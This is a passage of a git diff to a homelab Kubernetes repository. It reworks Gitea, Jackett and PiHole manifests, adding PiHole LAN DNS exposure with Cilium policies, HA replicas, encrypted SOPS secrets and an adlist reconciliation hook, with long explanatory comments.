 kind: CiliumNetworkPolicy
@@ -238,26 +259,6 @@ spec:
     - name: gitea
       port: 3000
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: gitea
-  namespace: gitea
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: gitea
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: gitea
-  namespaceSelector:
-    matchNames:
-    - gitea
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -272,11 +273,11 @@ spec:
   - name: gitea.slis
     rules:
     - alert: gitea-down
-      expr: up{job="gitea"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"} == 0 or absent(kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"})
       for: 5m
       labels:
         severity: critical
         service: gitea
       annotations:
         summary: gitea is down
-        description: 'gitea has been unreachable for 5m (SLI: up).'
+        description: 'gitea: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-0/jackett.yaml

@@ -100,11 +100,15 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://jackett.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --api-route=^/api/
+        - --cookie-name=_oauth2_proxy_jackett
+        - --cookie-domain=jackett.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -125,6 +129,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -237,6 +244,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): jackett-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: jackett-allow-monitoring-scrape
+  namespace: jackett
+  labels:
+    app.kubernetes.io/name: jackett
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: jackett
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): jackett-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -268,6 +296,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: forward-auth
     homelab.keithjackson.dev/auth-groups: media-users,platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -284,26 +313,6 @@ spec:
     - name: jackett
       port: 4180
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: jackett
-  namespace: jackett
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: jackett
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: jackett
-  namespaceSelector:
-    matchNames:
-    - jackett
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -318,11 +327,11 @@ spec:
   - name: jackett.slis
     rules:
     - alert: jackett-down
-      expr: up{job="jackett"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"} == 0 or absent(kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"})
       for: 5m
       labels:
         severity: critical
         service: jackett
       annotations:
         summary: jackett is down
-        description: 'jackett has been unreachable for 5m (SLI: up).'
+        description: 'jackett: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-0/kustomization.yaml

@@ -14,9 +14,14 @@ resources:
 - nextcloud-db-backup-credentials-prod.sops.yaml
 - nextcloud-db-backup-credentials.sops.yaml
 - nextcloud-db.yaml
+- pihole-bootstrap-secret.sops.yaml
+- pihole-dns.yaml
 - pihole-oauth2-proxy-credentials.sops.yaml
 - pihole.yaml
+- plex-claim-secret.sops.yaml
+- plex-remote.yaml
 - plex.yaml
+- qbittorrent-bootstrap-secret.sops.yaml
 - qbittorrent-oauth2-proxy-credentials.sops.yaml
 - qbittorrent.yaml
 - semaphore-db-app.sops.yaml

apps/wave-0/pihole-bootstrap-secret.sops.yaml

@@ -0,0 +1,72 @@
+# =================================================================================================
+# PiHole WEB/API ADMIN PASSWORD — the one piece of PiHole state that was NOT declared anywhere.
+# =================================================================================================
+# WHY THIS FILE EXISTS. Measured on live prod 2026-10-04, `pihole.toml` marks every non-default
+# setting with `### CHANGED`, and names the ones that came from the environment `### CHANGED (env)`.
+# The complete list was:
+#
+#     dns.upstreams          ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     dns.listeningMode      ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     dns.rateLimit.count    ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     misc.dnsmasq_lines     ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     files.macvendor        ### CHANGED         <- set by the image itself, container path
+#     webserver.api.pwhash   ### CHANGED         <- SET OUT OF BAND. Declared NOWHERE. This file.
+#
+# So exactly ONE operator-set value lived only on the Longhorn PVC: the admin password, as a
+# one-way BALLOON-SHA256 hash. Nobody could recover it (a hash does not reverse), nothing in git
+# produced it, and a rebuild from git would have come up with a DIFFERENT password — or none.
+#
+# THE REASON THIS BLOCKS HA, which is why it is fixed first. The next step is running more than one
+# PiHole replica, and a replica with a fresh PVC would come up with its own unrelated password. The
+# admin UI would then accept or reject the same credential depending on which pod answered. Declaring
+# it here makes every replica, and every rebuild, identical by construction.
+#
+# MECHANISM: `webserver.api.password` is a real, settable FTL config key — verified in the running
+# image, where `pihole setpassword` is itself just `setFTLConfigValue "webserver.api.password"` with
+# the comment "pihole-FTL will automatically hash the password". So FTL takes CLEARTEXT on this key
+# and writes the hash into `webserver.api.pwhash` itself. catalog/pihole.yaml therefore passes this
+# value as `FTLCONF_webserver_api_password`, and the hash on the PVC becomes a derived artefact
+# rather than the source of truth.
+#
+# DEFENCE IN DEPTH, NOT THE ONLY GATE. The admin UI is already behind the oauth2-proxy sidecar
+# (`--allowed-group=platform-admins`), so this password is a SECOND gate. It is kept rather than set
+# empty because the `pihole` Service still publishes port 80 (PiHole direct, bypassing the proxy on
+# :4180) and only the CiliumNetworkPolicy closes it — and the default-deny policy in this repo has a
+# documented drift history. An unauthenticated admin UI that can rewrite LAN DNS is not a good thing
+# to leave resting on one policy staying correct. Narrowing that Service port is tracked follow-up.
+#
+# ROTATION: `sops` this file in your own terminal, change the value, commit. Flux re-applies the
+# Secret, the pod restarts, FTL re-hashes. Do NOT `sops -d` it into a shared terminal or a log
+# (CLAUDE.md section 6); read it in an editor. The value below was generated randomly at authoring
+# time and has never been printed to a transcript.
+apiVersion: v1
+kind: Secret
+metadata:
+    name: pihole-bootstrap
+    namespace: pihole
+    labels:
+        app.kubernetes.io/name: pihole
+type: Opaque
+stringData:
+    #ENC[AES256_GCM,data:TMOuRyJeb5IVn3lZPXY7lgh1KGxu7GY9+WIOLHpMB50JqzmM2tHIaWUWKTt1JtZoX/E5/Y7WCUTnfkJLhRBN2zV2MwWRBSLYVy5CMg7xV8PTLRZJYAVUYS5Trg==,iv:q+DpfT6PQfY5ZuNsmP7Ddl+PDLjSm89fJICAhYoW64k=,tag:axijaO3DaxIZgZ3LeK2hXA==,type:comment]
+    webui-password: ENC[AES256_GCM,data:7FcK/bUW79M46f/MlouAmATKbMnoUTNuMUjtqJ5vpU4=,iv:I8DBFB39uXZV42Ie2IPwSefmMgdKEtiDknfc9Tu7h5E=,tag:L423784UrDU3TvylpHc6KQ==,type:str]
+sops:
+    kms: []
+    gcp_kms: []
+    azure_kv: []
+    hc_vault: []
+    age:
+        - recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
+          enc: |
+            -----BEGIN AGE ENCRYPTED FILE-----
+            YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSB0MkRSNjZLZlpXYkcvaVJL
+            cjlqb2wrcWREZnZLdGpsTHNPWEpseHlRZnpjCnJVM1FDQ2M2dXlaS1JBZ2k2V1BP
+            Yi9QUDZSMzZsL09pTi93RTdjdGxtY2MKLS0tIDIrQTZIVWdhMGIxSCtlUFN2Mlho
+            SWVybld4VjJyaHRSKzZZU0xsUUV2SEEKbDYHV/qBZVspK7DpBW3vYjRMJ/HmAN+9
+            G9bOlNEp0jAtcNZEn6lpQ9ORgvmIrhJHoBQRLabdMWzNWSZsNn56tA==
+            -----END AGE ENCRYPTED FILE-----
+    lastmodified: "2026-10-04T06:01:27Z"
+    mac: ENC[AES256_GCM,data:rhTMTOwLOtHXHgqI5M2ZW/6w+UpLpxBlTk7NoN0wmGSqOcE+OGrXA1DhkZrJweyQT0RSNSSBm/6QMztLP81eepOzdp2rEkwvbQPK/l6K9g16Ww9c1IatS3NQsKEB8AoMDx7jBQ6exXYgggPx3MJsNYbE+WyloQ96U9KPdrecAM8=,iv:n34v2zX9D5xsaR1PFCH94mNMiuRfhUyI2lseUCoqiTA=,tag:9YmN9nIVLXfsGYIb0bUl2w==,type:str]
+    pgp: []
+    encrypted_regex: ^(data|stringData)$
+    version: 3.9.4

apps/wave-0/pihole-dns.yaml

@@ -0,0 +1,196 @@
+---
+# =================================================================================================
+# PiHole DNS EXPOSURE — the LAN half of split-horizon (R-DNS-01 / R-DNS-03), and NETWORK POLICY.
+# =================================================================================================
+# HAND-WRITTEN, NOT RENDERED. This file is a non-catalog app-tier unit anchored to the `pihole`
+# ServiceDefinition and placed into wave 0 by `catalog/render.py --emit-waves` via its EXTRA_UNITS
+# table (the same mechanism gitea-actions uses). It is hand-written because the ServiceDefinition
+# schema genuinely cannot express it: schemas/servicedefinition.schema.json is
+# `additionalProperties: false` and has NO field for a type=LoadBalancer Service, for a pinned
+# lbipam VIP, for a sharing key, for loadBalancerSourceRanges, or for UDP north-south exposure at
+# all. `ingressRoutes` renders HTTPRoutes on the shared Gateway, which is an L7 HTTPS terminator and
+# cannot carry DNS. The two existing L4 workloads in this repo are hand-written for exactly this
+# reason and in exactly this shape — apps/vms/unifi/50-service-l4.yaml and
+# platform/crafty/service-l4.yaml. The ANSWERS PiHole gives are declared in the catalog
+# (catalog/pihole.yaml `env`), so the only thing living outside the catalog is the exposure the
+# schema has no word for.
+#
+# WHY THIS EXISTS AT ALL: platform/coredns/coredns-custom.yaml is explicit that its split-horizon is
+# for PODS and defers LAN clients to "PiHole split-horizon" — but PiHole served no DNS. Its Service
+# was ClusterIP with ports 80 and 4180 only. The LAN half of the split-horizon that docs/09
+# (R-DNS-03) and the README's Phase 2 row both claim simply did not exist, and LAN clients ran on
+# hand-maintained per-client dnsmasq files instead. Upstream cannot substitute: the SOHO router that
+# owns this LAN strips RFC1918 answers for public domains as rebind protection (NOERROR, ANSWER 0).
+#
+# VIP: ${PIHOLE_DNS_VIP} (cluster-vars, R-ENV-02 — dev 192.168.1.56, prod 192.168.2.23), PINNED via
+# lbipam.cilium.io/ips out of the CiliumLoadBalancerIPPool `default-pool`
+# (${CILIUM_LB_POOL_START}..${CILIUM_LB_POOL_STOP}) and ARP-announced on the flat LAN by the
+# existing CiliumL2AnnouncementPolicy `default-l2` (platform-config/cilium/*). No new Cilium config
+# is needed; these Services just consume the pool. PINNING IS NOT OPTIONAL HERE: this address is
+# typed into every LAN client's resolver configuration (or handed out by the router's DHCP), so it
+# can never be allowed to move.
+#
+# ONE VIP, TWO SERVICES: a LoadBalancer Service is single-protocol-friendly, so udp/53 and tcp/53
+# split into two Services sharing one address via lbipam.cilium.io/sharing-key — the same
+# arrangement unifi and crafty use. BOTH PROTOCOLS ARE REQUIRED, not belt-and-braces: UDP is the
+# normal query path, and TCP is what a resolver falls back to for any answer that does not fit in a
+# UDP datagram and what some clients use unconditionally. A UDP-only resolver fails intermittently
+# and confusingly.
+#
+# NO external-dns ANNOTATION, DELIBERATELY. unifi and crafty both carry
+# `external-dns.alpha.kubernetes.io/hostname` so external-dns publishes their address as a PUBLIC
+# Cloudflare record. This Service must not: `pihole-dns.${BASE_DOMAIN}` is answered by PiHole itself
+# (catalog/pihole.yaml's dnsmasq override), it is an RFC1918 address that is useless in public DNS,
+# and publishing a resolver's address in a public zone invites exactly the traffic the source-range
+# filter below exists to refuse. Internal name, internal answer, no public record — which is also
+# why this change touches nothing under platform/externaldns/.
+#
+# -------------------------------------------------------------------------------------------------
+# externalTrafficPolicy: Cluster — AND WHY IT IS NOT `Local`, WHICH IS WHAT unifi AND crafty USE.
+# -------------------------------------------------------------------------------------------------
+# `Local` is the obvious choice: it preserves the client source IP and, in theory, pins the VIP to
+# the node running the backend. The second half is NOT TRUE on this cluster, and that was measured,
+# not assumed (Cilium 1.20.1, prod, 2026-09-14):
+#
+#   * Cilium's L2 announcer elects one lease holder per Service among the nodes matching the
+#     CiliumL2AnnouncementPolicy's nodeSelector — `default-l2` matches ALL linux nodes — and it does
+#     NOT filter that candidate set by which nodes hold a backend. Created fresh, the two Services
+#     landed on DIFFERENT nodes (`cilium-l2announce-pihole-pihole-dns-tcp` -> k3s-prod-3,
+#     `-udp` -> k3s-prod-2) while the pihole pod ran on k3s-prod-1.
+#   * With `Local`, a node that announces the VIP but holds no backend has nowhere to send the
+#     packet, and the query fails with ICMP port unreachable (dig: "connection refused"). On three
+#     nodes with one replica that is a 1-in-3 chance of working, drawn independently per protocol.
+#   * It does not self-heal. The lease holder keeps RENEWING after the pod moves away: a pod
+#     rescheduled from k3s-prod-1 to k3s-prod-2 left the lease on k3s-prod-1, still renewing three
+#     minutes later, with LAN resolution dead the whole time. Only deleting the Lease forced a
+#     re-election — and that re-election is random, so it may pick a backend-less node again.
+#
+# A resolver that works one time in three and stays broken after any reschedule is not a resolver.
+# `Cluster` makes every node able to serve the VIP by forwarding to wherever the pod is, which is
+# what makes this survive a reschedule and a rebuild. VERIFIED in exactly the broken arrangement
+# above — leases on k3s-prod-2 and k3s-prod-3, pod on k3s-prod-1 — udp/53, tcp/53 and recursion all
+# answering.
+#
+# THE COST, STATED PLAINLY: Cilium runs in SNAT mode here (no `loadBalancer.mode: dsr` in
+# platform/cilium/helmrelease.yaml), so a query forwarded between nodes reaches PiHole with the
+# INGRESS NODE's address as its source, not the client's. PiHole's per-client query log, per-client
+# groups and per-client rate limiting therefore see one apparent client instead of the LAN. Two
+# consequences are handled: the rate limit is disabled in catalog/pihole.yaml (otherwise the whole
+# LAN counts as one client against PiHole's 1000-queries-per-60s default and PiHole starts
+# REFUSING), and the LAN restriction is enforced in the datapath rather than by source identity —
+# see loadBalancerSourceRanges below. The fix that would restore client IPs is `loadBalancer.mode:
+# dsr` on the Cilium HelmRelease, which is a platform-wide change with an Ansible [parity] contract
+# and would also fix the same latent defect in unifi and crafty; it belongs in its own change.
+#
+# -------------------------------------------------------------------------------------------------
+# loadBalancerSourceRanges — THE LAN RESTRICTION, ENFORCED IN THE DATAPATH.
+# -------------------------------------------------------------------------------------------------
+# Cilium enforces this list in eBPF on the ingress node, on the VIP, BEFORE load-balancing and
+# before SNAT. A packet to ${PIHOLE_DNS_VIP}:53 from outside ${LAN_CIDR} is dropped by the
+# datapath — it never reaches a backend and never reaches a network policy. This is what makes
+# "LAN clients only" a real, tested restriction rather than a comment: VERIFIED by narrowing the
+# range to a /24 that excludes the test client, after which the same query that had been answering
+# stopped being answered at all, and restoring it, after which it answered again.
+#
+# It is also the layer that survives the SNAT above. A CiliumNetworkPolicy cannot express this
+# restriction once the source has been rewritten: measured on this cluster, the forwarded query
+# arrives from the ingress node's internal router address and Cilium resolves that source to the
+# reserved `world` identity, which a `fromCIDR` clause does not match even when the CIDR covers the
+# address (tried: fromCIDR ${CLUSTER_POD_CIDR}, still dropped as `world`). So the peer restriction
+# lives here, where it is actually enforceable, and the policy below restricts the PORTS.
+apiVersion: v1
+kind: Service
+metadata:
+  name: pihole-dns-udp
+  namespace: pihole
+  labels:
+    app.kubernetes.io/name: pihole
+  annotations:
+    lbipam.cilium.io/sharing-key: "pihole-dns"
+    lbipam.cilium.io/ips: "${PIHOLE_DNS_VIP}"
+spec:
+  type: LoadBalancer
+  externalTrafficPolicy: Cluster
+  loadBalancerSourceRanges:
+    - ${LAN_CIDR}
+  selector:
+    app.kubernetes.io/name: pihole
+  ports:
+    - { name: dns-udp, port: 53, targetPort: 53, protocol: UDP }
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: pihole-dns-tcp
+  namespace: pihole
+  labels:
+    app.kubernetes.io/name: pihole
+  annotations:
+    lbipam.cilium.io/sharing-key: "pihole-dns"   # same key + same IP => shares the VIP with -udp
+    lbipam.cilium.io/ips: "${PIHOLE_DNS_VIP}"
+spec:
+  type: LoadBalancer
+  externalTrafficPolicy: Cluster
+  loadBalancerSourceRanges:
+    - ${LAN_CIDR}
+  selector:
+    app.kubernetes.io/name: pihole
+  ports:
+    - { name: dns-tcp, port: 53, targetPort: 53, protocol: TCP }
+---
+# =================================================================================================
+# NETWORK POLICY — a NEW ingress path from off-cluster, restricted to the two DNS ports.
+# =================================================================================================
+# The pihole namespace is default-deny on ingress (the baseline NetworkPolicy in the rendered
+# apps/wave-0/pihole.yaml: `ingress: []`). Cilium enforces the UNION of that NetworkPolicy and the
+# CiliumNetworkPolicies in the namespace, so this file ADDS one path and nothing else. Everything
+# undeclared stays denied, and the existing `pihole-allow-gateway-ingress` (Gateway -> :4180, the
+# oauth2-proxy gate in front of the admin UI) is untouched. PiHole's own :80 is NOT in this rule:
+# the admin UI stays reachable only through the Gateway and oauth2-proxy, and a LAN client that
+# talks to ${PIHOLE_DNS_VIP} on any port other than 53 gets nothing — there is no Service port for
+# it and no policy for it.
+#
+# PORTS ARE THE NARROWING HERE; THE LAN RESTRICTION IS THE SOURCE-RANGE FILTER ABOVE. The peer is
+# `world` for a mechanical reason, not a lazy one: with externalTrafficPolicy Cluster in Cilium's
+# SNAT mode a forwarded query arrives from the ingress node's internal router address, which Cilium
+# resolves to the reserved `world` identity — a `fromCIDR` clause does not match it, which was
+# measured (a fromCIDR of ${CLUSTER_POD_CIDR}, which contains that address, still produced
+# "Policy denied ... identity world" drops in `cilium-dbg monitor`). So `world` is the only peer
+# selector that can describe LAN traffic that has been through the LoadBalancer, and the set of
+# addresses that can actually BE that traffic is fixed by loadBalancerSourceRanges before this
+# policy is consulted. Together: ${LAN_CIDR} in the datapath, udp/53 + tcp/53 here.
+#
+# This is NOT wider than the precedent it follows. unifi-allow-l4-ingress and crafty-allow-ingress
+# admit `fromEntities: [world, cluster, host]` on their L4 ports with NO source-range filter at all;
+# this rule admits fewer entities (no `cluster` — in-cluster pods resolve through CoreDNS and none
+# needs PiHole on :53) on fewer ports, behind a filter those two do not have.
+#
+# WHAT REMAINS REACHABLE WITHOUT THE VIP, ACKNOWLEDGED: Cilium applies source ranges to the
+# LoadBalancer address, not to the NodePorts the same Services allocate, so a host that can route to
+# a node IP can still reach udp/53 and tcp/53 through the NodePort. On this LAN that is the same
+# population the source range admits, and nothing at the edge forwards 53 inward, so PiHole is not
+# an internet-facing open resolver. Say so out loud rather than implying the filter is total.
+#
+# `host` and `remote-node` are named explicitly because node-sourced traffic carries a reserved
+# Cilium identity that no CIDR or `world` selector matches: the kubelet's probes and the
+# node-to-node forwarding that IS the Cluster-policy datapath both need them.
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: pihole-allow-lan-dns-ingress
+  namespace: pihole
+  labels:
+    app.kubernetes.io/name: pihole
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: pihole
+  ingress:
+    - fromEntities:
+        - world         # LAN clients, post-LoadBalancer: see the block above for why not fromCIDR
+        - host          # this node's kubelet probes
+        - remote-node   # the node-to-node hop that forwards a query to wherever the pod runs
+      toPorts:
+        - ports:
+            - { port: "53", protocol: UDP }
+            - { port: "53", protocol: TCP }

apps/wave-0/pihole.yaml

@@ -35,34 +35,18 @@ spec:
     - protocol: TCP
       port: 53
 ---
-# PVC pihole-config (R-STATE)
-apiVersion: v1
-kind: PersistentVolumeClaim
-metadata:
-  name: pihole-config
-  namespace: pihole
-  labels:
-    app.kubernetes.io/name: pihole
-spec:
-  accessModes:
-  - ReadWriteOnce
-  storageClassName: longhorn
-  resources:
-    requests:
-      storage: 2Gi
----
-# Deployment (R-PLAT-02)
+# StatefulSet (R-PLAT-02)
 apiVersion: apps/v1
-kind: Deployment
+kind: StatefulSet
 metadata:
   name: pihole
   namespace: pihole
   labels:
     app.kubernetes.io/name: pihole
 spec:
-  replicas: 1
-  strategy:
-    type: Recreate
+  replicas: 2
+  serviceName: pihole
+  podManagementPolicy: Parallel
   selector:
     matchLabels:
       app.kubernetes.io/name: pihole
@@ -81,9 +65,30 @@ spec:
         image: pihole/pihole
         ports:
         - containerPort: 80
+        env:
+        - name: FTLCONF_dns_listeningMode
+          value: ALL
+        - name: FTLCONF_dns_upstreams
+          value: 8.8.8.8;8.8.4.4
+        - name: FTLCONF_dns_rateLimit_count
+          value: '0'
+        - name: FTLCONF_misc_dnsmasq_lines
+          value: address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP};address=/plex-vip.${BASE_DOMAIN}/${PLEX_L4_VIP}
+        - name: FTLCONF_webserver_api_password
+          valueFrom:
+            secretKeyRef:
+              name: pihole-bootstrap
+              key: webui-password
         volumeMounts:
         - name: config
-          mountPath: /data/config
+          mountPath: /etc/pihole
+        lifecycle:
+          postStart:
+            exec:
+              command:
+              - /bin/bash
+              - -c
+              - "# Assert the declared adlists in gravity.db. Idempotent: steady state writes nothing and\n# does NOT run a gravity rebuild.\nset -u\nGRAVITY=/etc/pihole/gravity.db\n\n# THE DECLARED SET \u2014 one URL per line, the source of truth for what PiHole blocks.\n# To add a list: add a line here, commit, let Flux reconcile. Nothing else to do.\nDECLARED='https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts'\n\n# On a fresh PVC, FTL creates gravity.db a moment after the container starts. Wait, bounded,\n# and NEVER block or fail the start: a missing DB here must not crashloop DNS for the LAN.\ni=0\nwhile [ ! -s \"$GRAVITY\" ] && [ \"$i\" -lt 90 ]; do sleep 2; i=$(expr $i + 1); done\nif [ ! -s \"$GRAVITY\" ]; then\n  echo \"pihole-adlists: gravity.db absent after 180s - leaving adlists untouched\" >&2\n  exit 0\nfi\n\nsql() { pihole-FTL sqlite3 \"$GRAVITY\" \"$1\"; }\nCHANGED=0\n\n# 1) Every declared URL must be present AND enabled.\necho \"$DECLARED\" | while IFS= read -r url; do\n  [ -n \"$url\" ] || continue\n  printf '%s\\n' \"$url\"\ndone > /tmp/declared.txt\nwhile IFS= read -r url; do\n  [ -n \"$url\" ] || continue\n  # Single quotes inside a URL would break this SQL; adlist URLs do not contain them.\n  have=$(sql \"select count(*) from adlist where address='$url';\")\n  if [ \"$have\" = \"0\" ]; then\n    echo \"pihole-adlists: adding $url\"\n    sql \"insert into adlist (address,enabled,comment) values ('$url',1,'declared in catalog/pihole.yaml');\"\n    CHANGED=1\n  else\n    en=$(sql \"select enabled from adlist where address='$url';\")\n    if [ \"$en\" != \"1\" ]; then\n      echo \"pihole-adlists: re-enabling $url\"\n      sql \"update adlist set enabled=1 where address='$url';\"\n      CHANGED=1\n    fi\n  fi\ndone < /tmp/declared.txt\n\n# 2) Anything enabled in the DB but NOT declared gets disabled (never deleted - see above).\nsql \"select address from adlist where enabled=1;\" | while IFS= read -r addr; do\n  [ -n \"$addr\" ] || continue\n  if ! grep -qxF \"$addr\" /tmp/declared.txt; then\n    echo \"pihole-adlists: disabling undeclared $addr\"\n    sql \"update adlist set enabled=0 where address='$addr';\"\n    echo changed >> /tmp/adlist-changed\n  fi\ndone\n[ -s /tmp/adlist-changed ] && CHANGED=1\nrm -f /tmp/adlist-changed /tmp/declared.txt\n\n# 3) Rebuild gravity ONLY if the declared set actually moved.\nif [ \"$CHANGED\" = \"1\" ]; then\n  echo \"pihole-adlists: declared set changed - running gravity update\"\n  pihole -g || echo \"pihole-adlists: gravity update failed; existing gravity.db retained\" >&2\nelse\n  echo \"pihole-adlists: already matches the declared set - nothing to do\"\nfi\nexit 0\n"
       - name: oauth2-proxy
         image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
         imagePullPolicy: IfNotPresent
@@ -99,11 +104,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://pihole.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_pihole
+        - --cookie-domain=pihole.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -124,6 +132,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -148,10 +159,39 @@ spec:
             port: http
           initialDelaySeconds: 5
           periodSeconds: 15
-      volumes:
-      - name: config
-        persistentVolumeClaim:
-          claimName: pihole-config
+      affinity:
+        podAntiAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+          - labelSelector:
+              matchLabels:
+                app.kubernetes.io/name: pihole
+            topologyKey: kubernetes.io/hostname
+  volumeClaimTemplates:
+  - metadata:
+      name: config
+      labels:
+        app.kubernetes.io/name: pihole
+    spec:
+      accessModes:
+      - ReadWriteOnce
+      storageClassName: longhorn
+      resources:
+        requests:
+          storage: 2Gi
+---
+# PodDisruptionBudget — keep one replica through a drain (availability.replicas)
+apiVersion: policy/v1
+kind: PodDisruptionBudget
+metadata:
+  name: pihole
+  namespace: pihole
+  labels:
+    app.kubernetes.io/name: pihole
+spec:
+  minAvailable: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: pihole
 ---
 # Service
 apiVersion: v1
@@ -192,6 +232,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): pihole-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: pihole-allow-monitoring-scrape
+  namespace: pihole
+  labels:
+    app.kubernetes.io/name: pihole
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: pihole
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): pihole-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -223,6 +284,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: forward-auth
     homelab.keithjackson.dev/auth-groups: platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -239,26 +301,6 @@ spec:
     - name: pihole
       port: 4180
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: pihole
-  namespace: pihole
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: pihole
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: pihole
-  namespaceSelector:
-    matchNames:
-    - pihole
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -273,11 +315,11 @@ spec:
   - name: pihole.slis
     rules:
     - alert: pihole-down
-      expr: up{job="pihole"} == 0
+      expr: kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"} == 0 or absent(kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"})
       for: 5m
       labels:
         severity: critical
         service: pihole
       annotations:
         summary: pihole is down
-        description: 'pihole has been unreachable for 5m (SLI: up).'
+        description: 'pihole: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready).'

apps/wave-0/plex-claim-secret.sops.yaml

@@ -0,0 +1,77 @@
+# Plex plex.tv server-claim token (WS-APPS). SOPS-encrypted (age).
+# Consumed by catalog/plex.yaml as env PLEX_CLAIM via valueFrom.secretKeyRef.
+#
+# NOTE ON THESE COMMENTS: they carry NO dollar-brace expressions, deliberately. This file is applied
+# by the apps-wave-0 Flux Kustomization, which runs envsubst over the built output, and kustomize
+# preserves body comments into that stream (see conformance/tests/l0-static/flux-postbuild-
+# substitution). A braced token quoted from the upstream shell script would be a live hazard here,
+# not prose, so the upstream conditions below are described in words.
+#
